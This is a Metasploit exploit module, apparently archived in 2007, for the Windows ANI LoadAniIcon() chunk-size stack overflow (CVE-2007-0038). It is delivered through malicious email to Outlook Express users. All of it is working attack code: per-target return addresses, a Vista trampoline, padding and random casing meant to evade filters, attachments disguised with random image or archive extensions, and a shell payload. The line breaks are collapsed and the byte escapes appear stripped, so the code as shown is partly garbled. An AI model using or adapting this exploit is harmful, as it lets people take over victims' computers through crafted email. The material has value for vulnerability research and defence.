ani_loadimage_chunksize-email.rb.txt
Posted on 03 April 2007
## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ## require 'msf/core' module Msf class Exploits::Windows::Email::IE_ANI_CVE_2007_0038 < Msf::Exploit::Remote # # This module sends email messages via smtp # include Exploit::Remote::SMTPDeliver def initialize(info = {}) super(update_info(info, 'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Overflow (SMTP)', 'Description' => %q{ This module exploits a buffer overflow vulnerability in the LoadAniIcon() function of USER32.dll. The flaw is triggered through Outlook Express by using the CURSOR style sheet directive to load a malicious .ANI file. This vulnerability was discovered by Alexander Sotirov of Determina and was rediscovered, in the wild, by McAfee. }, 'License' => MSF_LICENSE, 'Author' => [ 'hdm', # First version 'skape', # Vista support ], 'Version' => '$Revision$', 'References' => [ ['CVE', '2007-0038'], ['CVE', '2007-1765'], ['BID', '23194'], ['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'], ['URL', 'http://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp'], ['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'], ], 'Stance' => Msf::Exploit::Stance::Passive, 'DefaultOptions' => { # Cause internet explorer to exit after the code hits 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024 + (rand(1000)), 'MinNops' => 32, 'Compat' => { 'ConnectionType' => '-bind -find', }, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ # # Use multiple cursor URLs to try all targets. This can result in # multiple, sequential sessions # [ 'Automatic', {} ], # # The following targets use call [ebx+4], just like the original exploit # # Partial overwrite doesn't work for Outlook Express [ 'Windows XP SP2 user32.dll 5.1.2600.2622', { 'Ret' => 0x25ba, 'Len' => 2 }], # Should work for all English XP SP2 [ 'Windows XP SP2 userenv.dll English', { 'Ret' => 0x769fc81a }], # Should work for English XP SP0/SP1 [ 'Windows XP SP0/SP1 netui2.dll English', { 'Ret' => 0x71bd0205 }], # Should work for English 2000 SP0-SP4+ [ 'Windows 2000 SP0-SP4 netui2.dll English', { 'Ret' => 0x75116d88 }], # # Partial overwrite where 700b is a jmp dword [ebx] ebx points to the start # of the RIFF chunk itself. The length field of the RIFF chunk # tag contains a short jump into an embedded riff chunk that # makes a long relative jump into the actual payload. # [ 'Windows Vista user32.dll 6.0.6000.16386', { 'Ret' => 0x700b, 'Len' => 2, # On Vista, the pages that contain the RIFF are read-only. # In-place decoders cannot be used. 'Payload' => { 'EncoderType' => Msf::Encoder::Type::Raw } } ] ], 'DisclosureDate' => 'Mar 28 2007', 'DefaultTarget' => 0)) register_options( [ OptString.new('MAILSUBJECT', [false, "The subject of the sent email"]) ], self.class) end def autofilter false end def exploit exts = ['bmp', 'wav', 'png', 'zip', 'tar'] gext = exts[rand(exts.length)] name = rand_text_alpha(rand(10)+1) + ".#{gext}" anis = {} html = "<html><head><title>" + rand_text_alphanumeric(rand(128)+4) + "</title>" + "</head><body>" + rand_text_alphanumeric(rand(128)+1) mytargs = (target.name =~ /Automatic/) ? targets : [target] if target.name =~ /Automatic/ targets.each_index { |i| next if not targets[i].ret acid = generate_cid html << generate_div("cid:#{acid}") # Re-generate the payload, using the explicit target return if ((p = regenerate_payload(nil, nil, targets[i])) == nil) # Generate an ANI file for this target anis[acid] = generate_ani(p, targets[i]) } else acid = generate_cid html << generate_div("cid:#{acid}") # Re-generate the payload, using the explicit target return if ((p = regenerate_payload(nil, nil, target)) == nil) # Generate an ANI file for this target anis[acid] = generate_ani(p, target) end html << "</body></html>" msg = Rex::MIME::Message.new msg.mime_defaults msg.subject = datastore['MAILSUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1) msg.to = datastore['MAILTO'] msg.from = datastore['MAILFROM'] msg.add_part(Rex::Text.encode_base64(html, " "), "text/html", "base64", "inline") anis.each_pair do |cid,ani| part = msg.add_part_attachment(ani, cid + "." + gext) part.header.set("Content-ID", "<"+cid+">") end send_message(msg.to_s) print_status("Waiting for a payload session (backgrounding)...") end def generate_cid rand_text_alphanumeric(32)+'@'+rand_text_alphanumeric(8) end def generate_div(url) "<div style='" + generate_css_padding() + Rex::Text.to_rand_case("cursor") + generate_css_padding() + ":" + generate_css_padding() + Rex::Text.to_rand_case("url(") + generate_css_padding() + ""#{url}"" + generate_css_padding() + ");" + generate_css_padding() + "'>" + generate_padding() + "</div>" end def generate_ani(payload, target) # Build the first ANI header anih_a = [ 36, # DWORD cbSizeof rand(128)+16, # DWORD cFrames rand(1024)+1, # DWORD cSteps 0, # DWORD cx,cy (reserved - 0) 0, # DWORD cBitCount, cPlanes (reserved - 0) 0, 0, 0, # JIF jifRate 1 # DWORD flags ].pack('V9') anih_b = nil if (target.name =~ /Vista/) # Vista has ebp=80, eip=84 anih_b = rand_text(83) anih_b = Rex::Text.pattern_create(84) # Overwrite local counter variable and pointers anih_b[68, 12] = [0].pack('V') * 3 else # XP/2K has ebp=76 and eip=80 anih_b = rand_text(80) anih_b[64, 16] = [0].pack('V') * 4 end # Overwrite the return with address of a "call ptr [ebx+4]" anih_b << [target.ret].pack('V')[0, target['Len'] ? target['Len'] : 4] # Begin the ANI chunk riff = "ACON" # Calculate the data offset for the trampoline chunk and add # the trampoline chunk if we're attacking Vista if target.name =~ /Vista/ trampoline_doffset = riff.length + 8 riff << generate_trampoline_riff_chunk end # Insert random RIFF chunks 0.upto(rand(128)+16) do |i| riff << generate_riff_chunk() end # Embed the first ANI header riff << "anih" + [anih_a.length].pack('V') + anih_a # Insert random RIFF chunks 0.upto(rand(128)+16) do |i| riff << generate_riff_chunk() end # Trigger the return address overwrite riff << "anih" + [anih_b.length].pack('V') + anih_b # If this is a Vista target, then we need to align the length of the # RIFF chunk so that the low order two bytes are equal to a jmp $+0x16 if target.name =~ /Vista/ plen = (riff.length & 0xffff0000) | 0x0eeb plen += 0x10000 if (plen - 8) < riff.length riff << generate_riff_chunk((plen - 8) - riff.length) # Replace the operand to the relative jump to point into the actual # payload itself which comes after the riff chunk riff[trampoline_doffset + 1, 4] = [riff.length - trampoline_doffset - 5].pack('V') end # Place the RIFF chunk in front and off we go ret = "RIFF" + [riff.length].pack('V') + riff # We copy the encoded payload to the stack because sometimes the RIFF # image is mapped in read-only pages. This would prevent in-place # decoders from working, and we can't have that. ret << Rex::Arch::X86.copy_to_stack(payload.encoded.length) # Place the real payload right after it. ret << payload.encoded ret end # Generates a riff chunk with the first bytes of the data being a relative # jump. This is used to bounce to the actual payload def generate_trampoline_riff_chunk tag = Rex::Text.to_rand_case(rand_text_alpha(4)) dat = "xe9xffxffxffxff" + rand_text(1) + (rand_text(rand(256)+1) * 2) tag + [dat.length].pack('V') + dat end def generate_riff_chunk(len = (rand(256)+1) * 2) tag = Rex::Text.to_rand_case(rand_text_alpha(4)) dat = rand_text(len) tag + [dat.length].pack('V') + dat end def generate_css_padding buf = generate_whitespace() + "/*" + generate_whitespace() + generate_padding() + generate_whitespace() + "*/" + generate_whitespace() end def generate_whitespace len = rand(100)+2 set = "x09x20x0dx0a" buf = '' while (buf.length < len) buf << set[rand(set.length)].chr end buf end def generate_padding rand_text_alphanumeric(rand(128)+4) end end end
